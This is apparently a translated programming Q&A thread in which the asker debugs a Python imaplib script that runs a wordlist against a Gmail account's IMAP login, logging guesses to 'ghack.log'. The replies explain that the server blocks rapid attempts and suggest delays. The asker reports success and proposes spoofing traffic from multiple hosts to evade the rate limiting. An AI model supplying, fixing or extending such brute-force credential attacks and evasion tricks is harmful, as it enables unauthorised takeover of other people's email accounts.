Python imaplib-不接受正确的密码
我有一个文本文件中的单词列表。我正在尝试对该文件中的单词运行imap.login函数。该列表中的一个单词是电子邮件ID的密码。脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“OK” 以下是脚本:Python imaplib-不接受正确的密码,python,gmail,imaplib,Python,Gmail,Imaplib,我有一个文本文件中的单词列表。我正在尝试对该文件中的单词运行imap.login函数。该列表中的一个单词是电子邮件ID的密码。脚本无法将其识别为密码,但是,当我手动传递密码时,它似乎返回“OK” 以下是脚本: import imaplib conn = imaplib.IMAP4_SSL("imap.gmail.com", 993) email_id='someone__blahh@gmail.com' passwrds = open('/Users/rdj/scripts/words
import imaplib
conn = imaplib.IMAP4_SSL("imap.gmail.com", 993)
email_id='someone__blahh@gmail.com'
passwrds = open('/Users/rdj/scripts/words', 'r')
for i in passwrds.readlines():
i = i.rstrip()
passwrd = i
if len(passwrd) > 5:
fle = open("/Users/rdj/scripts/ghack.log", "a")
try:
if conn.login(email_id, passwrd):
fle.write("%s ==> EUREKA\n" %(passwrd))
break
except:
fle.write("%s --> NO LUCK\n" %(passwrd))
可能在多次登录失败后,IMAP服务器拒绝您登录,即使密码正确?有一件事需要尝试,那就是每次都重新启动连接。我也试过了。我没有在循环外建立一个由
conn
表示的连接,而是尝试在try
语句之后运行它。这也不管用。脚本一运行完,我就用正确的密码手动执行try
语句中的脚本,并返回预期结果。又是一个黑暗中的镜头。尝试添加时间。在每次尝试之间睡眠(1)。我仍然觉得IMAP服务器中可能有一些安全机制来防止像这样的暴力攻击。谢谢你的建议。成功了。如果我使用这个选项,我的脚本将非常低效。我将探索其他选项,并将在这里更新,如果有什么工作。也许,我得让它看起来像是来自多个主机的流量。